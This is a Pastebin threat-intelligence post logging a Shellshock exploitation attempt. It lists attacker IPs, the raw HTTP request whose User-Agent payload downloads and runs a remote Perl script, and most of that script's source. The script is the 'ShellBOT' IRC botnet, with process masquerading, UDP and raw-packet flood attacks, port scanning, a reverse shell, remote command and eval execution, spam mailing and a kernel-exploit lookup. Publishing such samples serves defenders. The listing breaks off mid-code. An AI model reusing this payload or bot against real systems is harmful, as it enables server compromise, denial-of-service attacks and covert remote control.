Neonprimetime

Shellshock http://ubimed.com/cata.txt

Apr 9th, 2015
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.07 KB | None | 0 0
  1. Shellshock Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. *****
  6. 49.212.148.181
  7. 74.208.148.51
  8. 216.189.52.110
  9. http://ubimed.com/
  10. http://ubimed.com/cata.txt
  11. *****
  12. GET /cgi-bin/contact.cgi HTTP/1.1
  13. User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://ubimed.com/cata.txt -O /tmp/b.pl;curl -O /tmp/b.pl http://ubimed.com/cata.txt;perl /tmp/b.pl;rm -rf /tmp/b.pl*");'
  14.  
  15. *****
  16. #!/usr/bin/perl
  17. #
  18. # ShellBOT by: devil__
  19. # Greetz: Puna, Kelserific
  20. #
  21. # Comandos:
  22. # @oldpack <ip> <bytes> <tempo>;
  23. # @udp <ip> <porta> <tempo>;
  24. # @fullportscan <ip> <porta inicial> <porta final>;
  25. # @conback <ip> <porta>
  26. # @download <url> <arquivo a ser salvo>;
  27. # !estatisticas <on/off>;
  28. # !sair para finalizar o bot;
  29. # !novonick para trocar o nick do bot por um novo aleatorio;
  30. # !entra <canal> <tempo>
  31. # !sai <canal> <tempo>;
  32. # !pacotes <on/off>
  33. # @info
  34. # @xpl <kernel>
  35. # @sendmail <assunto> <remetente> <destinatario> <conteudo>
  36.  
  37. ########## CONFIGURACAO ############
  38.  
  39. my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]");
  40. my $processo = $ps[rand scalar @ps];
  41.  
  42. $servidor='216.189.52.110' unless $servidor;
  43. my $porta='6667';
  44. my @canais=("#blackcat");
  45. my @adms=("iPS","black");
  46.  
  47.  
  48.  
  49. # Anti Flood ( 6/3 Recomendado )
  50. my $linas_max=10;
  51. my $sleep=5;
  52.  
  53. my $nick = getnick();
  54. my $ircname = getident2();
  55. my $realname = "uname -sr";
  56. chop (my $realname = `uname -sr`);
  57.  
  58. my $acessoshell = 1;
  59. ######## Stealth ShellBot ##########
  60. my $prefixo = "!all";
  61. my $estatisticas = 0;
  62. my $pacotes = 1;
  63. ####################################
  64.  
  65. my $VERSAO = '0.3b';
  66.  
  67. $SIG{'INT'} = 'IGNORE';
  68. $SIG{'HUP'} = 'IGNORE';
  69. $SIG{'TERM'} = 'IGNORE';
  70. $SIG{'CHLD'} = 'IGNORE';
  71. $SIG{'PS'} = 'IGNORE';
  72.  
  73. use IO::Socket;
  74. use Socket;
  75. use IO::Select;
  76. chdir("/");
  77. $servidor="$ARGV[0]" if $ARGV[0];
  78. $0="$processo"."\0";
  79. my $pid=fork;
  80. exit if $pid;
  81. die "Problema com o fork: $!" unless defined($pid);
  82.  
  83. my %irc_servers;
  84. my %DCC;
  85. my $dcc_sel = new IO::Select->new();
  86.  
  87. #####################
  88. # Stealth Shellbot #
  89. #####################
  90.  
  91. sub getnick {
  92. return "x-".int(rand(1000));
  93. }
  94.  
  95. sub getident2 {
  96. my $length=shift;
  97. $length = 3 if ($length < 3);
  98.  
  99. my @chars=('a'..'z','A'..'Z','1'..'9');
  100. foreach (1..$length)
  101. {
  102. $randomstring.=$chars[rand @chars];
  103. }
  104. return $randomstring;
  105. }
  106.  
  107. #############################
  108. # B0tchZ na veia ehehe :P #
  109. #############################
  110.  
  111. $sel_cliente = IO::Select->new();
  112. sub sendraw {
  113. if ($#_ == '1') {
  114. my $socket = $_[0];
  115. print $socket "$_[1]\n";
  116. } else {
  117. print $IRC_cur_socket "$_[0]\n";
  118. }
  119. }
  120.  
  121. sub conectar {
  122. my $meunick = $_[0];
  123. my $servidor_con = $_[1];
  124. my $porta_con = $_[2];
  125.  
  126. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  127. if (defined($IRC_socket)) {
  128. $IRC_cur_socket = $IRC_socket;
  129.  
  130. $IRC_socket->autoflush(1);
  131. $sel_cliente->add($IRC_socket);
  132.  
  133. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  134. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  135. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  136. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  137. nick("$meunick");
  138. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  139. print "\nShellBot $VERSAO by: deviL__\n";
  140. print "nick: $nick\n";
  141. print "servidor: $servidor\n\n";
  142. sleep 2;
  143. }
  144.  
  145. }
  146. my $line_temp;
  147. while( 1 ) {
  148. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  149. delete($irc_servers{''}) if (defined($irc_servers{''}));
  150. &DCC::connections;
  151. my @ready = $sel_cliente->can_read(0.6);
  152. next unless(@ready);
  153. foreach $fh (@ready) {
  154. $IRC_cur_socket = $fh;
  155. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  156. $nread = sysread($fh, $msg, 4096);
  157. if ($nread == 0) {
  158. $sel_cliente->remove($fh);
  159. $fh->close;
  160. delete($irc_servers{$fh});
  161. }
  162. @lines = split (/\n/, $msg);
  163.  
  164. for(my $c=0; $c<= $#lines; $c++) {
  165. $line = $lines[$c];
  166. $line=$line_temp.$line if ($line_temp);
  167. $line_temp='';
  168. $line =~ s/\r$//;
  169. unless ($c == $#lines) {
  170. parse("$line");
  171. } else {
  172. if ($#lines == 0) {
  173. parse("$line");
  174. } elsif ($lines[$c] =~ /\r$/) {
  175. parse("$line");
  176. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  177. parse("$line");
  178. } else {
  179. $line_temp = $line;
  180. }
  181. }
  182. }
  183. }
  184. }
  185.  
  186. sub parse {
  187. my $servarg = shift;
  188. if ($servarg =~ /^PING \:(.*)/) {
  189. sendraw("PONG :$1");
  190. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  191. my $pn=$1; my $onde = $4; my $args = $5;
  192. if ($args =~ /^\001VERSION\001$/) {
  193. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  194. }
  195. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  196. notice("$pn", "\001PONG\001");
  197. }
  198. elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  199. if ($onde eq "$meunick"){
  200. shell("$pn", "$args");
  201. }
  202. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  203. my $natrix = $1;
  204. my $arg = $2;
  205. if ($arg =~ /^\!(.*)/) {
  206. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  207. } elsif ($arg =~ /^\@(.*)/) {
  208. $ondep = $onde;
  209. $ondep = $pn if $onde eq $meunick;
  210. bfunc("$ondep","$1");
  211. } else {
  212. shell("$onde", "$arg");
  213. }
  214. }
  215. }
  216. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  217. if (lc($1) eq lc($meunick)) {
  218. $meunick=$4;
  219. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  220. }
  221. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  222. $meunick = getnick();
  223. nick("$meunick");
  224. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  225. $meunick = $2;
  226. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  227. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  228. foreach my $canal (@canais) {
  229. sendraw("JOIN $canal");
  230. }
  231. }
  232. }
  233.  
  234. sub bfunc {
  235. my $printl = $_[0];
  236. my $funcarg = $_[1];
  237. if (my $pid = fork) {
  238. waitpid($pid, 0);
  239. } else {
  240. if (fork) {
  241. exit;
  242. } else {
  243. if ($funcarg =~ /^portscan (.*)/) {
  244. my $hostip="$1";
  245. my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  246. my (@aberta, %porta_banner);
  247. foreach my $porta (@portas) {
  248. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  249. if ($scansock) {
  250. push (@aberta, $porta);
  251. $scansock->close;
  252. }
  253. }
  254. if (@aberta) {
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  256. } else {
  257. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  258. }
  259. }
  260.  
  261. #elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  262. # getstore("$1", "$2");
  263. # sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu?do!");
  264. # }
  265.  
  266. elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  267. my $hostname="$1";
  268. my $portainicial = "$2";
  269. my $portafinal = "$3";
  270. my (@abertas, %porta_banner);
  271. foreach my $porta ($portainicial..$portafinal)
  272. {
  273. my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  274. if ($scansock) {
  275. push (@abertas, $porta);
  276. $scansock->close;
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  278. }
  279. }
  280. if (@abertas) {
  281. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  282. } else {
  283. sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  284. }
  285. }
  286.  
  287. # Duas Vers?es simplificada do meu Tr0x ;D
  288. elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  289. return unless $pacotes;
  290. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  291. my $alvo=inet_aton("$1");
  292. my $porta = "$2";
  293. my $tempo = "$3";
  294. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotando\002: $1 \002tempo\002: $tempo");
  295. my $pacote;
  296. my $pacotese;
  297. my $fim = time + $tempo;
  298. my $pacota = 1;
  299. while (($pacota == "1")) {
  300. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  301. $pacote=$rand x $rand x $rand;
  302. $porta = int(rand 65000) +1 if ($porta == "0");
  303. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  304. }
  305. #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  306. #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  307. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotado\002: $1 \002tempo\002: $tempo"."segs \002pacotes\002: $pacotese");
  308. }
  309.  
  310. elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002aviso\002: \@udpfaixa foi removido do bot");
  312. exit;
  313. return unless $pacotes;
  314. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  315. my $faixaip="$1";
  316. my $porta = "$2";
  317. my $tempo = "$3";
  318. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Pacotando\002: $1 \002tempo\002: $tempo");
  319. my $pacote;
  320. my $pacotes;
  321. my $fim = time + $tempo;
  322. my $pacota = 1;
  323. my $alvo;
  324. while ($pacota == "1") {
  325. $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  326. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  327. $alvo = inet_aton("$faixaip.$faixa");
  328. $pacote=$rand x $rand x $rand;
  329. $porta = int(rand 65000) +1 if ($porta == "0");
  330. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  331. if ($faixa >= 255) {
  332. $faixa = 1;
  333. }
  334. }
  335. }
  336. #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  337. #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002faixa\002: $1"."1-"."$2"."255 \002tempo\002: $tempo"."segs \002pacotes\002: $pacotese");
  339. }
  340.  
  341. # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  342. elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  343. my $host = "$1";
  344. my $porta = "$2";
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  346. my $proto = getprotobyname('tcp');
  347. my $iaddr = inet_aton($host);
  348. my $paddr = sockaddr_in($porta, $iaddr);
  349. my $shell = "/bin/sh -i";
  350. if ($^O eq "MSWin32") {
  351. $shell = "cmd.exe";
  352. }
  353. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  354. connect(SOCKET, $paddr) or die "connect: $!";
  355. open(STDIN, ">&SOCKET");
  356. open(STDOUT, ">&SOCKET");
  357. open(STDERR, ">&SOCKET");
  358. system("$shell");
  359. close(STDIN);
  360. close(STDOUT);
  361. close(STDERR);
  362. }
  363.  
  364. elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  365. return unless $pacotes;
  366. my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  367. $dtime = 1 if $dtime == 0;
  368. my %bytes;
  369. $bytes{igmp} = $2 * $pacotes{igmp};
  370. $bytes{icmp} = $2 * $pacotes{icmp};
  371. $bytes{o} = $2 * $pacotes{o};
  372. $bytes{udp} = $2 * $pacotes{udp};
  373. $bytes{tcp} = $2 * $pacotes{tcp};
  374. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  375. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
  376. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
  377. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  378. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  379. }
  380. elsif ($funcarg =~ /^xpl\s+(.*)/) {
  381. my $kernel = "$1";
  382. if ($kernel =~ /2.4.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, uselib24"); goto downloads; }
  383. if ($kernel =~ /2.4.18/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, brk, brk2"); goto downloads; }
  384. if ($kernel =~ /2.4.19/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, newlocal, w00t, brkm brk2"); goto downloads; }
  385. if ($kernel =~ /2.4.20/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, kmod2, newlocal, w00t, ptrace, ptrace-kmod, brk, brk2"); goto downloads; }
  386. if ($kernel =~ /2.4.21/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl"); goto downloads; }
  387. if ($kernel =~ /2.4.22/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl, mremap_pte, loginx"); goto downloads; }
  388. if ($kernel =~ /2.4.23/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte"); goto downloads; }
  389. if ($kernel =~ /2.4.24/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte"); goto downloads; }
  390. if ($kernel =~ /2.4.25/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  391. if ($kernel =~ /2.4.26/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  392. if ($kernel =~ /2.4.27/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  393. if ($kernel =~ /2.4.28/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  394. if ($kernel =~ /2.6.0/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: wuftpd, h00lyshit"); goto downloads; }
  395. if ($kernel =~ /2.6.2/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: mremap_pte, krad, h00lyshit"); goto downloads; }
  396. if ($kernel =~ /2.6.5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit"); goto downloads; }
  397. if ($kernel =~ /2.6.6/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit"); goto downloads; }
  398. if ($kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
  399. if ($kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
  400. if ($kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit, r00t"); goto downloads; }
  401. if ($kernel =~ /2.6.10/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
  402. if ($kernel =~ /2.6.11/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit, k-rad3"); goto downloads; }
  403. if ($kernel =~ /2.6.12/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit"); goto downloads; }
  404. if ($kernel =~ /2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  405. if ($kernel =~ /2.6.14/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  406. if ($kernel =~ /2.6.15/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  407. if ($kernel =~ /2.6.16/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  408. if ($kernel =~ /2.6.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  409. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: nothing =)");
  410. exit;
  411. downloads:
  412. sendraw($IRC_cur_socket, "PRIVMSG $printl : downloads: 12http://dvl.by.ru/xpl");
  413. }
  414. elsif ($funcarg =~ /^info/) {
  415. my $sysos = `uname -sr`;
  416. my $uptime = `uptime`;
  417. if ( $sysos =~ /freebsd/i ) {
  418. $sysname = `hostname`;
  419. $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  420. $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
  421. chomp($memory);
  422. chomp($swap);
  423. }
  424. elsif ( $sysos =~ /linux/i ) {
  425. $sysname = `hostname -f`;
  426. $memory = `free -m |grep -i mem | awk '{print \$2}'`;
  427. $swap = `free -m |grep -i swap | awk '{print \$2}'`;
  428. chomp($swap);
  429. chomp($memory);
  430. }
  431. else {
  432. $sysname ="Not Found";;
  433. $memory ="Not found";
  434. $swap ="Not Found";
  435. }
  436. sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 SysInfo 3] 15-------------");
  437. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01os/host15;01 $sysos - $sysname ");
  438. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01proc/PID15;01 $processo - $$");
  439. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01uptime15;01 $uptime");
  440. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01memory/swap15;01 $memory - $swap");
  441. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01perl/bot15;01 $] - $VERSAO");
  442. sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 /SysInfo 3] 15------------");
  443. }
  444. elsif($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  445. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01Enviando e-mail para: $3");
  446. $subject = $1;
  447. $sender = $2;
  448. $recipient = $3;
  449. @corpo = $4;
  450. $mailtype = "content-type: text/html";
  451. $sendmail = '/usr/sbin/sendmail';
  452. open (SENDMAIL, "| $sendmail -t");
  453. print SENDMAIL "$mailtype\n";
  454. print SENDMAIL "Subject: $subject\n";
  455. print SENDMAIL "From: $sender\n";
  456. print SENDMAIL "To: $recipient\n\n";
  457. print SENDMAIL "@corpo\n\n";
  458. close (SENDMAIL);
  459. sendraw($IRC_cur_socket, "PRIVMSG $printl :01email enviado para: $recipient");
  460. }
  461. exit;
  462. }
  463. }
  464. }
  465.  
  466. sub ircase {
  467. my ($kem, $printl, $case) = @_;
  468.  
  469. if ($case =~ /^join (.*)/) {
  470. j("$1");
  471. }
  472. elsif ($case =~ /^part (.*)/) {
  473. p("$1");
  474. }
  475. elsif ($case =~ /^rejoin\s+(.*)/) {
  476. my $chan = $1;
  477. if ($chan =~ /^(\d+) (.*)/) {
  478. for (my $ca = 1; $ca <= $1; $ca++ ) {
  479. p("$2");
  480. j("$2");
  481. }
  482. } else {
  483. p("$chan");
  484. j("$chan");
  485. }
  486. }
  487. elsif ($case =~ /^op/) {
  488. op("$printl", "$kem") if $case eq "op";
  489. my $oarg = substr($case, 3);
  490. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  491. }
  492. elsif ($case =~ /^deop/) {
  493. deop("$printl", "$kem") if $case eq "deop";
  494. my $oarg = substr($case, 5);
  495. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  496. }
  497. elsif ($case =~ /^voice/) {
  498. voice("$printl", "$kem") if $case eq "voice";
  499. $oarg = substr($case, 6);
  500. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  501. }
  502. elsif ($case =~ /^devoice/) {
  503. devoice("$printl", "$kem") if $case eq "devoice";
  504. $oarg = substr($case, 8);
  505. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  506. }
  507. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  508. msg("$1", "$2");
  509. }
  510. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  511. for (my $cf = 1; $cf <= $1; $cf++) {
  512. msg("$2", "$3");
  513. }
  514. }
  515. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  516. for (my $cf = 1; $cf <= $1; $cf++) {
  517. ctcp("$2", "$3");
  518. }
  519. }
  520. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  521. ctcp("$1", "$2");
  522. }
  523. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  524. invite("$1", "$2");
  525. }
  526. elsif ($case =~ /^nick (.*)/) {
  527. nick("$1");
  528. }
  529. elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  530. conectar("$2", "$1", 6667);
  531. }
  532. elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  533. DCC::SEND("$1", "$2");
  534. }
  535. elsif ($case =~ /^raw (.*)/) {
  536. sendraw("$1");
  537. }
  538. elsif ($case =~ /^eval (.*)/) {
  539. eval "$1";
  540. }
  541. elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  542. sleep int(rand($2));
  543. j("$1");
  544. }
  545. elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  546. sleep int(rand($2));
  547. p("$1");
  548. }
  549. elsif ($case =~ /^sair/) {
  550. quit();
  551. }
  552. elsif ($case =~ /^novonick/) {
  553. my $novonick = getnick();
  554. nick("$novonick");
  555. }
  556. elsif ($case =~ /^estatisticas (.*)/) {
  557. if ($1 eq "on") {
  558. $estatisticas = 1;
  559. msg("$printl", "Estat?sticas ativadas!");
  560. } elsif ($1 eq "off") {
  561. $estatisticas = 0;
  562. msg("$printl", "Estat?sticas desativadas!");
  563. }
  564. }
  565. elsif ($case =~ /^pacotes (.*)/) {
  566. if ($1 eq "on") {
  567. $pacotes = 1;
  568. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  569. } elsif ($1 eq "off") {
  570. $pacotes = 0;
  571. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  572. }
  573. }
  574. }
  575. sub shell {
  576. return unless $acessoshell;
  577. my $printl=$_[0];
  578. my $comando=$_[1];
  579. if ($comando =~ /cd (.*)/) {
  580. chdir("$1") || msg("$printl", "Diret?rio inexistente!");
  581. return;
  582. }
  583. elsif ($pid = fork) {
  584. waitpid($pid, 0);
  585. } else {
  586. if (fork) {
  587. exit;
  588. } else {
  589. my @resp=`$comando 2>&1 3>&1`;
  590. my $c=0;
  591. foreach my $linha (@resp) {
  592. $c++;
  593. chop $linha;
  594. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  595. if ($c >= "$linas_max") {
  596. $c=0;
  597. sleep $sleep;
  598. }
  599. }
  600. exit;
  601. }
  602. }
  603. }
  604.  
  605. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  606. sub attacker {
  607. my $iaddr = inet_aton($_[0]);
  608. my $msg = 'B' x $_[1];
  609. my $ftime = $_[2];
  610. my $cp = 0;
  611. my (%pacotes);
  612. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  613.  
  614. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  615. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  616. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  617. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  618. return(undef) if $cp == 4;
  619. my $itime = time;
  620. my ($cur_time);
  621. while ( 1 ) {
  622. for (my $porta = 1; $porta <= 65535; $porta++) {
  623. $cur_time = time - $itime;
  624. last if $cur_time >= $ftime;
  625. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  626. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  627. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  628. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  629.  
  630. # DoS ?? :P
  631. for (my $pc = 3; $pc <= 255;$pc++) {
  632. next if $pc == 6;
  633. $cur_time = time - $itime;
  634. last if $cur_time >= $ftime;
  635. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  636. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  637. }
  638. }
  639. last if $cur_time >= $ftime;
  640. }
  641. return($cur_time, %pacotes);
  642. }
  643.  
  644. #############
  645. # ALIASES #
  646. #############
  647.  
  648. sub action {
  649. return unless $#_ == 1;
  650. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  651. }
  652.  
  653. sub ctcp {
  654. return unless $#_ == 1;
  655. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  656. }
  657. sub msg {
  658. return unless $#_ == 1;
  659. sendraw("PRIVMSG $_[0] :$_[1]");
  660. }
  661.  
  662. sub notice {
  663. return unless $#_ == 1;
  664. sendraw("NOTICE $_[0] :$_[1]");
  665. }
  666.  
  667. sub op {
  668. return unless $#_ == 1;
  669. sendraw("MODE $_[0] +o $_[1]");
  670. }
  671. sub deop {
  672. return unless $#_ == 1;
  673. sendraw("MODE $_[0] -o $_[1]");
  674. }
  675. sub hop {
  676. return unless $#_ == 1;
  677. sendraw("MODE $_[0] +h $_[1]");
  678. }
  679. sub dehop {
  680. return unless $#_ == 1;
  681. sendraw("MODE $_[0] +h $_[1]");
  682. }
  683. sub voice {
  684. return unless $#_ == 1;
  685. sendraw("MODE $_[0] +v $_[1]");
  686. }
  687. sub devoice {
  688. return unless $#_ == 1;
  689. sendraw("MODE $_[0] -v $_[1]");
  690. }
  691. sub ban {
  692. return unless $#_ == 1;
  693. sendraw("MODE $_[0] +b $_[1]");
  694. }
  695. sub unban {
  696. return unless $#_ == 1;
  697. sendraw("MODE $_[0] -b $_[1]");
